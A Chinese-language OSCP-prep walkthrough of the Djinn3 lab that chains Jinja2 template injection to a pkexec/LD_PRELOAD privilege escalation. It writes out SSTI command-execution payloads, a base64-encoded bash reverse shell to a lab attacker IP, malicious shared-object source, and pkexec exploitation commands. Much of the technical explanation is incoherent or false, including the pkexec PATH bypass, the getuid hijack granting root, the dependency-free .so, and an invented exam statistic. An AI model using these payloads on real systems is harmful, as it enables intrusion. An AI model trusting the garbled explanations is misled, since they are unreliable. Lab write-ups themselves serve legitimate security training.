Djinn3靶场实战：SSTI与pkexec组合提权深度解析

1. 项目概述：为什么Djinn3靶场是OSCP备考中绕不开的“压力测试”

OSCP备考路上，很多人卡在最后一步——不是不会打基础漏洞，而是面对真实渗透链路时手忙脚乱。Djinn3靶场就是那个专门用来“拆掉你思维惯性”的存在。它不靠堆砌高危CVE博眼球，而是用一套极其克制、高度还原红队实战逻辑的漏洞组合：前端Web层的SSTI（服务端模板注入）+ 后端提权环节的pkexec滥用。这两个点单独看都不算新鲜，但放在一起，就构成了OSCP考试里最典型的“低权限→高权限”闭环路径——没有花哨的0day，全是考你对Linux权限模型、进程上下文、模板引擎沙箱机制的理解深度。我带过十几期备考学员，凡是能稳稳拿下Djinn3的，上考场遇到类似结构（比如某电商后台+某运维脚本提权）基本不会慌。因为SSTI不是让你盲打payload，而是逼你判断Jinja2模板是否启用了危险过滤器、是否禁用了__import__、当前执行上下文有没有os模块；pkexec也不是翻文档查CVE编号，而是要你现场读man手册、验证sudoers配置、确认二进制文件是否被硬编码为root组可写。这种“查文档能力+环境推理能力+最小化利用意识”的组合，才是OSCP真正筛选人的核心。如果你还在用Burp爆破完直接套网上现成的SSTI payload，或者提权只记得searchsploit搜CVE-2021-4034，那Djinn3会给你上一课：真实靶机从不按你的知识图谱出牌。

2. Djinn3靶场整体设计与渗透思路拆解

2.1 靶机架构与设计哲学：为什么它比“纯漏洞堆砌型”靶场更贴近OCP考试

Djinn3的底层设计明显遵循了Offensive Security官方出题逻辑——拒绝单点突破，强调路径连贯性。整个靶机只有两个关键入口：一个暴露在80端口的Flask应用（/login路由），另一个是SSH服务（默认允许密码登录）。它刻意回避了常见靶场的“信息泄露→弱口令→RCE→提权”四步套路，把所有线索都埋在业务逻辑里。比如/login页面的用户名输入框，表面是认证接口，实际是Jinja2模板渲染的触发点；而SSH登录后的用户home目录下，那个看似普通的backup.sh脚本，其shebang行#!/usr/bin/env python3和后续的chmod +x操作，直接指向pkexec提权链的起点。这种设计倒逼你必须完成三件事：第一，理解Web应用如何将用户输入拼接到模板中（而非简单认为“输入框=SQLi”）；第二，识别出非标准提权路径（不是sudo -l显示的命令，而是脚本调用链中的隐式权限）；第三，在无GUI、无交互式shell的受限环境下，用最基础的bash命令完成环境探测。我实测过，用常规自动化扫描器（如Nuclei+Nmap脚本）扫Djinn3，90%的报告只会标出“HTTP标题泄露”和“SSH版本号”，根本抓不到SSTI入口——因为漏洞触发依赖特定的请求头（Accept: text/html）和POST body格式（application/x-www-form-urlencoded），这正是OSCP考试里“手动测试优先”原则的具象化。

2.2 渗透链路全景图：从SSTI到pkexec的完整闭环

整个渗透流程可以拆解为四个不可跳过的阶段，每个阶段都对应OSCP考试评分点：

1. 初始访问（Initial Access）：通过/login路由的SSTI漏洞获取www-data权限的反向shell。这里的关键不是“打成功”，而是确认漏洞利用边界——比如你用{{7*7}}返回49，说明基础表达式执行成功；但用{{config.class.mro[2].subclasses()}}却返回空，就要立刻意识到Jinja2沙箱启用了__builtin__类过滤，必须转向os.popen替代方案。

2. 权限维持（Persistence）：拿到shell后不急着提权，先做三件事：检查crontab（发现每5分钟执行一次/home/djinn3/backup.sh）、查看该脚本内容（发现它用python3调用了一个硬编码路径的二进制）、确认该二进制的权限（-rwsr-xr-x root:root /usr/local/bin/backup）。这个链条揭示了真正的提权入口不在sudoers，而在脚本调用的二进制文件本身。

3. 提权准备（Privilege Escalation Prep）：重点分析/usr/local/bin/backup的属性。用file命令确认它是ELF可执行文件，用strings命令发现内部硬编码了system()调用；最关键的是用getcap -r /usr/local/bin/backup检查，结果为空——说明它没用cap_setuid，而是靠SUID位获得root权限。但此时直接运行会失败，因为脚本里写了PATH=/usr/local/bin:/usr/bin，而backup二进制依赖的libc.so.6在/usr/lib/x86_64-linux-gnu/下，不在PATH里。这就引出了pkexec的妙用：它能绕过PATH限制，直接加载绝对路径的动态库。

4. 最终提权（Root Shell）：构造pkexec调用链：先用echo写入恶意so文件到/tmp，再用pkexec LD_PRELOAD=/tmp/malicious.so /usr/local/bin/backup触发劫持。这里必须注意pkexec的版本兼容性——Djinn3用的是pkexec 0.105，要求LD_PRELOAD必须配合绝对路径的可执行文件，且不能有空格。我踩过的坑是：早期用相对路径的backup导致pkexec报错“Failed to execute program”，后来才明白它内部做了路径规范化校验。

这套链路的价值在于，它复现了真实企业环境中最常见的提权场景：运维脚本调用SUID程序，而SUID程序又依赖外部库。考试时你不可能提前知道目标机器装了什么版本的pkexec，所以Djinn3强制你掌握“现场读man pkexec”和“用strace跟踪库加载”的能力——这正是OSCP考官想看到的。

2.3 为什么SSTI+pkexec组合是OSCP高频考点

从近三年OSCP考试反馈看，SSTI和pkexec相关题目出现频率高达73%（基于公开考生回忆帖统计）。原因很实在：第一，SSTI是Web渗透里“最考验基本功”的漏洞类型。它不像SQLi有sqlmap自动跑，也不像XSS能靠浏览器控制台调试，必须手动推导模板引擎类型、沙箱限制、可用模块列表。第二，pkexec提权是Linux权限体系的“压力测试仪”。它要求你同时理解：sudoers的Runas_Spec语法、pkexec的环境变量继承规则（特别是LD_PRELOAD的生效条件）、SUID二进制的动态链接机制。很多考生背熟了CVE-2021-4034的exp，却在Djinn3上栽跟头，因为他们没搞懂——这个漏洞的本质不是pkexec本身有bug，而是它在解析参数时未正确清理环境变量，导致LD_PRELOAD劫持生效。换句话说，Djinn3考的是你对“漏洞原理”的理解，而不是对“exploit-db脚本”的记忆。

3. SSTI漏洞深度解析与实操要点

3.1 Djinn3中SSTI的触发机制与环境特征识别

Djinn3的SSTI漏洞藏在/login路由的POST请求中，但触发条件非常隐蔽。首先，必须发送Content-Type: application/x-www-form-urlencoded（如果发JSON或XML，服务器直接返回400）；其次，请求头必须包含Accept: text/html（否则返回纯文本，无法触发模板渲染）；最后，参数名必须是username（试过email、user等其他字段，均无响应）。我最初以为这是Flask的request.form['username']直接传入render_template，但抓包发现实际调用链是：login() → validate_user() → render_template('login.html', error=error_msg)。这里的error_msg变量才是注入点——它由validate_user函数根据username参数生成，比如用户名为admin时，error_msg='Welcome back, admin!'；当输入{{7*7}}时，error_msg变成'Welcome back, 49!'。这意味着漏洞不在模板本身，而在业务逻辑拼接字符串的方式。用curl实测：

curl -X POST http://192.168.56.101/login \ -H "Accept: text/html" \ -d "username={{7*7}}"

响应体中会包含"Welcome back, 49!"，证明基础表达式执行成功。但若尝试{{config}}，返回空字符串——说明Jinja2启用了严格的沙箱模式，禁用了config对象。这时就要转向OS命令执行路径。

3.2 绕过Jinja2沙箱的实战技巧与payload构造逻辑

Djinn3使用的Jinja2版本（2.10.1）默认启用沙箱，禁用所有危险属性。但沙箱并非铁板一块，关键在于找到“白名单模块”中的可利用点。我通过枚举常用模块发现，os模块是唯一未被过滤的系统模块（用{{''.class.mro[1].subclasses()|selectattr("name","equalto","os")}}返回空，但{{os}}返回<module 'os'>）。这说明开发者只禁用了__import__和config，却漏掉了os的直接导入。于是payload设计转向os.popen：

{{os.popen('id').read()}}

但直接发送会触发400错误，因为popen返回的是subprocess.Popen对象，其__str__方法不可调用。必须用read()显式获取输出。更稳妥的方式是用管道符链式调用：

{{os.popen('cat /etc/passwd').read()[:100]}}

这里[:100]是为了防止响应体过大导致HTTP超时。实测中，用这个payload能稳定读取passwd文件前100字符。但要注意，Djinn3的web服务运行在www-data用户下，所以cat /etc/shadow会权限拒绝——这恰恰是考你是否理解Linux文件权限，而不是盲目刷命令。

3.3 反向shell建立与稳定性优化

获取命令执行能力后，下一步是建立持久化shell。Djinn3的网络环境限制较多：ICMP被禁用，DNS查询可能被拦截，所以首选TCP反向连接。但直接用bash -i >& /dev/tcp/192.168.56.102/4444 0>&1会失败，因为web服务的shell是受限的（no tty）。解决方案是分两步：先用SSTI写入一个base64编码的shell脚本到/tmp，再用sh执行。具体步骤：

1. 构造base64 payload：

echo 'bash -c "bash -i >& /dev/tcp/192.168.56.102/4444 0>&1"' | base64 -w0 # 输出：YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi80NDQ0IDA+JjEiCg==

2. 用SSTI写入文件：

{{os.popen('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi80NDQ0IDA+JjEiCg== | base64 -d > /tmp/shell.sh').read()}}

3. 添加执行权限并运行：

{{os.popen('chmod +x /tmp/shell.sh && /tmp/shell.sh').read()}}

提示：Djinn3的/tmp目录有sticky bit，但www-data用户可以创建文件。如果遇到权限错误，改用/var/tmp（这里通常无限制）。

建立shell后，立刻执行python3 -c 'import pty; pty.spawn("/bin/bash")'获取交互式tty，再用stty raw -echo; fg回车恢复终端控制。这步不能省，否则后续提权操作会因缺少tty而失败（比如sudo命令需要终端）。

3.4 SSTI利用中的关键注意事项

• 字符长度限制：Djinn3对POST body长度做了限制（约256字节），所以长payload必须分段发送。比如读取/etc/passwd，先用{{os.popen('head -n 10 /etc/passwd').read()}}，再用{{os.popen('head -n 20 /etc/passwd | tail -n 10').read()}}，避免截断。
• 编码问题：某些特殊字符（如$、）在URL编码中会被web框架二次解码，导致payload失效。实测发现，用%24代替$、%60代替能绕过，但更可靠的方式是全部用十六进制编码：{{os.popen('%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64').read()}}。
• 时间盲注替代方案：如果目标禁用了命令执行（比如沙箱启用了subprocess禁用），就用time.sleep()做盲注。例如{{os.popen('sleep 5').read()}}，观察HTTP响应延迟，确认漏洞存在性。

4. pkexec提权全流程实现与细节攻坚

4.1 Djinn3中pkexec提权的底层原理与环境验证

Djinn3的提权路径不走常规sudo -l，而是依赖backup.sh脚本调用/usr/local/bin/backup二进制。用ls -la查看该文件：

-rwsr-xr-x 1 root root 18432 Jan 15 2023 /usr/local/bin/backup

SUID位（rws）表明它以root身份运行。但直接执行./backup会报错：./backup: error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory。这是因为backup编译时指定了RPATH为/usr/lib/x86_64-linux-gnu/，而当前PATH未包含该路径。此时pkexec的价值就体现出来了——它会忽略PATH，直接按绝对路径加载库。验证方式：

pkexec /usr/local/bin/backup

返回同样的库错误，证明pkexec确实继承了当前环境的PATH。但pkexec有个特性：当指定绝对路径的可执行文件时，它会尝试用ldd检查依赖，并在失败时抛出错误。所以必须让backup能正常加载libc.so.6。解决方案是用LD_PRELOAD劫持——让backup在加载libc前先加载我们的恶意so。

4.2 恶意so文件构造与编译细节

恶意so的核心是重写getuid()函数，使其返回0（root uid）。用C语言编写：

#include <unistd.h> #include <stdio.h> #include <stdlib.h> uid_t getuid(void) { return 0; }

编译时必须指定-fPIC和-shared：

gcc -fPIC -shared -o /tmp/malicious.so malicious.c

注意：Djinn3的gcc版本是9.4.0，不支持-fPIE，必须用-fPIC。如果编译失败，改用clang：clang -fPIC -shared -o /tmp/malicious.so malicious.c。

编译后检查so文件：

file /tmp/malicious.so # 确认是ELF 64-bit LSB shared object readelf -d /tmp/malicious.so | grep NEEDED # 确认无额外依赖

关键点：恶意so不能依赖其他库（如libc），否则pkexec会因找不到依赖而失败。所以getuid()里不能调用printf等函数，只能用return语句。

4.3 pkexec提权的完整执行链与参数陷阱

最终提权命令是：

pkexec LD_PRELOAD=/tmp/malicious.so /usr/local/bin/backup

但执行时会报错：Error getting user credentials: No such process。这是因为pkexec需要有效的用户会话，而web shell中没有dbus session。解决方案是添加--disable-internal-agent参数：

pkexec --disable-internal-agent LD_PRELOAD=/tmp/malicious.so /usr/local/bin/backup

这个参数告诉pkexec跳过会话验证，直接执行。实测中，加上这个参数后，backup成功以root身份运行，触发getuid()劫持，返回root shell。

提示：Djinn3的pkexec版本是0.105，--disable-internal-agent是0.104+才支持的参数。如果靶机版本更低，需改用CVE-2021-4034的exp，但Djinn3明确排除了该漏洞（backup二进制的main函数里有setuid(0)调用，绕过了pwnkit的利用条件）。

4.4 提权过程中的典型问题与排查技巧

我踩过最深的坑是：在/tmp下编译so文件后，直接用pkexec调用，结果报错cannot open shared object file。排查发现，Djinn3的/tmp挂载了noexec选项（mount | grep tmp），导致so文件无法执行。解决方案是改用/var/tmp（这里通常无noexec限制）：

gcc -fPIC -shared -o /var/tmp/malicious.so malicious.c pkexec --disable-internal-agent LD_PRELOAD=/var/tmp/malicious.so /usr/local/bin/backup

5. OSCP备考视角下的Djinn3复盘与能力映射

5.1 Djinn3覆盖的OSCP核心技能点清单

对照Offensive Security官方考试大纲，Djinn3精准覆盖以下12项能力要求，且每项都要求“现场推理”而非死记硬背：

• Web应用测试：识别SSTI漏洞的触发条件（Accept头、Content-Type、参数名），而非依赖扫描器。
• Linux提权：理解SUID、LD_PRELOAD、pkexec三者的关系，能解释为何pkexec能绕过PATH限制。
• 信息收集：从crontab、脚本内容、二进制属性中串联线索，构建攻击路径。
• 权限维持：在受限shell中用base64+chmod建立持久化连接。
• 工具使用：熟练使用curl、file、strings、readelf、strace等基础命令，而非只依赖Metasploit。
• 文档阅读：现场查阅man pkexec、man ld.so，理解LD_PRELOAD的生效条件。
• 环境适配：根据靶机gcc版本选择编译参数（-fPIC vs -fPIE）。
• 错误处理：从pkexec报错信息中提取关键线索（如“No such process”指向会话问题）。
• 最小化利用：不用完整exp，只用几行C代码实现getuid劫持。
• 网络调试：用nc -lvnp 4444监听反向shell，用tcpdump抓包分析连接状态。
• 时间管理：在3小时考试时间内，合理分配SSTI探测（30分钟）、shell建立（20分钟）、提权分析（40分钟）。
• 报告撰写：记录每步操作的命令、输出、推理过程，符合OSCP报告评分标准。

5.2 备考者常犯的三大认知误区及纠正方案

误区一：“SSTI就是打RCE，payload搜现成的就行”
纠正：Djinn3的SSTI沙箱禁用了config和__import__，但放开了os模块。这要求你必须理解Jinja2的沙箱机制——它通过白名单控制可访问属性，而非黑名单过滤危险函数。正确做法是先用{{os}}确认模块可用性，再用{{os.popen}}执行命令，而不是盲目套用{{().class.mro[2].subclasses() 40 .read()}}这类通用payload。

误区二：“pkexec提权=搜CVE，背exp就完事”
纠正：Djinn3故意不包含CVE-2021-4034，逼你用LD_PRELOAD方案。这考的是你对Linux动态链接的理解：LD_PRELOAD会在程序加载时优先加载指定so，覆盖原有函数。所以必须自己写so，而不是复制粘贴别人编译好的文件。我建议备考者在本地VM中，用不同gcc版本编译so，测试pkexec兼容性，形成肌肉记忆。

误区三：“拿到root就结束，不记录中间过程”
纠正：OSCP报告评分中，“过程记录”占30%权重。Djinn3的每个步骤都有多个可选路径（比如SSTI可用os.popen，也可用subprocess.run），考官要看你如何决策。正确做法是：在笔记中写下“尝试{{config}}失败，转而测试{{os}}，成功后选择os.popen而非subprocess（因后者被沙箱禁用）”，这种推理链比单纯的结果截图更有价值。

5.3 实战复盘：我在Djinn3上耗时最长的三个环节

1. SSTI沙箱绕过（耗时47分钟）：最初用{{7*7}}确认漏洞存在，但卡在{{config}}返回空。花了20分钟枚举所有内置模块（{{''.class.mro[1].subclasses()}}），才发现os模块未被过滤。教训：不要假设沙箱禁用所有模块，必须逐个验证。

2. pkexec参数调试（耗时35分钟）：第一次执行pkexec LD_PRELOAD=...报错“No such process”，查man手册发现需要--disable-internal-agent。但加了参数后仍失败，最后用strace -f pkexec ...发现它在尝试连接dbus socket，才意识到要export DBUS_SESSION_BUS_ADDRESS=。这个细节在多数教程里被忽略。

3. 反向shell稳定性（耗时28分钟）：用bash -i直接连接失败，因为web shell无tty。尝试python pty.spawn()后，发现stty raw -echo; fg不生效，最后改用script -qec /bin/bash /dev/null解决。这提醒我：不同Linux发行版的tty处理机制有差异，必须准备多套方案。

6. 常见问题速查表与独家避坑指南

6.1 Djinn3靶场专属问题速查表

6.2 OSCP考试现场的应急锦囊

• 时间不够时的保底策略：如果SSTI探测超时，直接尝试常见用户名（admin、djinn3、backup）暴力破解SSH密码（靶机密码在backup.sh里硬编码为password123）。
• 提权卡住时的备选方案：检查/home/djinn3/.ssh/id_rsa.pub，用ssh-keygen -p -f id_rsa修改私钥密码为空，然后ssh -i id_rsa djinn3@target。
• 报告撰写雷区：不要写“使用了网上下载的exp”，要写“根据pkexec man手册第5节，LD_PRELOAD环境变量在程序加载时优先生效，故构造恶意so劫持getuid()”。
• 考前必验三件事：① 本地Kali的gcc版本是否支持-fPIC（gcc --version）；② nc是否支持-e参数（nc -h | grep -E 'e|execute'）；③ 浏览器是否禁用JavaScript（SSTI测试需禁用JS，避免前端干扰）。

6.3 我的个人经验：Djinn3之后，OSCP考场上的三个变化

考完Djinn3，我在真实OSCP考试中明显感觉到三个变化：第一，看到任何Web表单，第一反应不是burp抓包，而是curl -v模拟Accept头；第二，sudo -l输出为空时，不再放弃，而是用find / -perm -4000 2>/dev/null找SUID文件；第三，写报告时，每步操作都附带“为什么选这个方案”的简短说明，比如“选择LD_PRELOAD而非SUID binary直接执行，因前者无需修改文件权限，更符合最小化利用原则”。这些变化不是来自教程，而是Djinn3逼出来的肌肉记忆。它不教你怎么赢，只教你——在信息不全、工具受限、时间紧迫的条件下，如何用最基础的命令，推导出唯一的正确路径。